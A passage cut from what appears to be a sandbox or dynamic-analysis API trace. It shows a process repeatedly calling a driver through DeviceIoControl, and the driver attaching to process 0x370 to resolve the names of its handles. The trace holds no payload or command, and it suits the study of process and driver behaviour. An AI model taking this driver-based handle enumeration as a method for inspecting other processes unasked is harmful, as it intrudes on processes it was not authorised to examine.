lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0093.656] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.656] PsAcquireProcessExitSynchronization () returned 0x0 [0093.656] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.656] ObReferenceObjectByHandle (in: Handle=0x46c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f6b920, HandleInformation=0x0) returned 0x0 [0093.656] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.656] PsReleaseProcessExitSynchronization () returned 0x2 [0093.656] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.656] ObQueryNameString (in: Object=0xfffffa8002f6b920, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.656] ObfDereferenceObject (Object=0xfffffa8002f6b920) returned 0x2 [0093.656] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.656] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.656] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.656] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0093.656] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.656] PsAcquireProcessExitSynchronization () returned 0x0 [0093.656] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.656] ObReferenceObjectByHandle (in: Handle=0x470, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f6b7d0, HandleInformation=0x0) returned 0x0 [0093.656] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.656] PsReleaseProcessExitSynchronization () returned 0x2 [0093.656] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.656] ObQueryNameString (in: Object=0xfffffa8002f6b7d0, ObjectNameInfo=0xfffffa8001ff1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ff1044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.656] ObfDereferenceObject (Object=0xfffffa8002f6b7d0) returned 0x1 [0093.656] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.656] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.656] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.656] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.656] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.656] PsAcquireProcessExitSynchronization () returned 0x0 [0093.656] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.656] ObReferenceObjectByHandle (in: Handle=0x488, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800323d070, HandleInformation=0x0) returned 0x0 [0093.657] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.657] PsReleaseProcessExitSynchronization () returned 0x2 [0093.657] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.657] ObQueryNameString (in: Object=0xfffffa800323d070, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.657] ObfDereferenceObject (Object=0xfffffa800323d070) returned 0x2 [0093.657] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.657] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.657] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.657] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.657] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.657] PsAcquireProcessExitSynchronization () returned 0x0 [0093.657] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.657] ObReferenceObjectByHandle (in: Handle=0x490, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800323dc80, HandleInformation=0x0) returned 0x0 [0093.657] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.657] PsReleaseProcessExitSynchronization () returned 0x2 [0093.657] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.657] ObQueryNameString (in: Object=0xfffffa800323dc80, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.657] ObfDereferenceObject (Object=0xfffffa800323dc80) returned 0x2 [0093.657] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.657] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.657] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.657] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0093.657] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.657] PsAcquireProcessExitSynchronization () returned 0x0 [0093.657] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.657] ObReferenceObjectByHandle (in: Handle=0x498, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800323ecc0, HandleInformation=0x0) returned 0x0 [0093.657] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.657] PsReleaseProcessExitSynchronization () returned 0x2 [0093.657] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.657] ObQueryNameString (in: Object=0xfffffa800323ecc0, ObjectNameInfo=0xfffffa8002011044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002011044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.657] ObfDereferenceObject (Object=0xfffffa800323ecc0) returned 0x2 [0093.657] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.657] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.657] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.658] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.658] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.658] PsAcquireProcessExitSynchronization () returned 0x0 [0093.658] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.658] ObReferenceObjectByHandle (in: Handle=0x4a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f6ea80, HandleInformation=0x0) returned 0x0 [0093.658] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.658] PsReleaseProcessExitSynchronization () returned 0x2 [0093.658] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.658] ObQueryNameString (in: Object=0xfffffa8002f6ea80, ObjectNameInfo=0xfffffa8002013044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002013044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.658] ObfDereferenceObject (Object=0xfffffa8002f6ea80) returned 0x2 [0093.658] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.658] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.658] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.658] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.658] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.658] PsAcquireProcessExitSynchronization () returned 0x0 [0093.658] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.658] ObReferenceObjectByHandle (in: Handle=0x4a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003247a30, HandleInformation=0x0) returned 0x0 [0093.658] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.658] PsReleaseProcessExitSynchronization () returned 0x2 [0093.658] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.658] ObQueryNameString (in: Object=0xfffffa8003247a30, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.658] ObfDereferenceObject (Object=0xfffffa8003247a30) returned 0x2 [0093.658] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.658] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.658] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.658] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0093.658] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.658] PsAcquireProcessExitSynchronization () returned 0x0 [0093.658] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.658] ObReferenceObjectByHandle (in: Handle=0x4ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80032d1680, HandleInformation=0x0) returned 0x0 [0093.658] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.658] PsReleaseProcessExitSynchronization () returned 0x2 [0093.658] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.658] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.659] ObfDereferenceObject (Object=0xfffffa80032d1680) returned 0x1 [0093.659] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.659] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.659] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.659] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x100, lpOverlapped=0x0) returned 1 [0093.659] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.659] PsAcquireProcessExitSynchronization () returned 0x0 [0093.659] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.659] ObReferenceObjectByHandle (in: Handle=0x508, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00103b620, HandleInformation=0x0) returned 0x0 [0093.659] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.659] PsReleaseProcessExitSynchronization () returned 0x2 [0093.659] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.659] ObQueryNameString (in: Object=0xfffff8a00103b620, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.659] ObfDereferenceObject (Object=0xfffff8a00103b620) returned 0x3 [0093.659] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.659] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.659] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.659] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0093.659] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.659] PsAcquireProcessExitSynchronization () returned 0x0 [0093.659] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.659] ObReferenceObjectByHandle (in: Handle=0x50c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001040620, HandleInformation=0x0) returned 0x0 [0093.659] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.659] PsReleaseProcessExitSynchronization () returned 0x2 [0093.659] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.659] ObQueryNameString (in: Object=0xfffff8a001040620, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.659] ObfDereferenceObject (Object=0xfffff8a001040620) returned 0x5 [0093.659] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.659] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.659] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.659] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0093.659] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.660] PsAcquireProcessExitSynchronization () returned 0x0 [0093.660] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.660] ObReferenceObjectByHandle (in: Handle=0x510, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001040620, HandleInformation=0x0) returned 0x0 [0093.660] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.660] PsReleaseProcessExitSynchronization () returned 0x2 [0093.660] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.660] ObQueryNameString (in: Object=0xfffff8a001040620, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.660] ObfDereferenceObject (Object=0xfffff8a001040620) returned 0x5 [0093.660] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.660] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.660] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.660] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x100, lpOverlapped=0x0) returned 1 [0093.660] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.660] PsAcquireProcessExitSynchronization () returned 0x0 [0093.660] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.660] ObReferenceObjectByHandle (in: Handle=0x518, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089ce580, HandleInformation=0x0) returned 0x0 [0093.660] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.660] PsReleaseProcessExitSynchronization () returned 0x2 [0093.660] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.660] ObQueryNameString (in: Object=0xfffff8a0089ce580, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0093.660] ObfDereferenceObject (Object=0xfffff8a0089ce580) returned 0x3 [0093.660] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.660] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.660] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.660] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x6c, lpOverlapped=0x0) returned 1 [0093.660] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.660] PsAcquireProcessExitSynchronization () returned 0x0 [0093.660] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.660] ObReferenceObjectByHandle (in: Handle=0x560, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003414070, HandleInformation=0x0) returned 0x0 [0093.660] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.660] PsReleaseProcessExitSynchronization () returned 0x2 [0093.660] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.660] ObQueryNameString (in: Object=0xfffffa8003414070, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.660] ObfDereferenceObject (Object=0xfffffa8003414070) returned 0x3 [0093.660] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.661] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.661] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.661] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0093.661] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.661] PsAcquireProcessExitSynchronization () returned 0x0 [0093.661] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.661] ObReferenceObjectByHandle (in: Handle=0x698, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003437350, HandleInformation=0x0) returned 0x0 [0093.661] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.661] PsReleaseProcessExitSynchronization () returned 0x2 [0093.661] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.661] ObQueryNameString (in: Object=0xfffffa8003437350, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.661] ObfDereferenceObject (Object=0xfffffa8003437350) returned 0x1 [0093.661] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.661] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.661] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.661] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0093.661] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.661] PsAcquireProcessExitSynchronization () returned 0x0 [0093.661] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.661] ObReferenceObjectByHandle (in: Handle=0x6a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f7dad0, HandleInformation=0x0) returned 0x0 [0093.661] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.661] PsReleaseProcessExitSynchronization () returned 0x2 [0093.661] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.661] ObQueryNameString (in: Object=0xfffffa8002f7dad0, ObjectNameInfo=0xfffffa8003969044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003969044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.661] ObfDereferenceObject (Object=0xfffffa8002f7dad0) returned 0x2 [0093.661] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.661] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.661] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.661] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0093.661] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.661] PsAcquireProcessExitSynchronization () returned 0x0 [0093.661] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.662] ObReferenceObjectByHandle (in: Handle=0x710, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003436c70, HandleInformation=0x0) returned 0x0 [0093.662] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.662] PsReleaseProcessExitSynchronization () returned 0x2 [0093.662] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.662] ObQueryNameString (in: Object=0xfffffa8003436c70, ObjectNameInfo=0xfffffa8003929044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003929044, 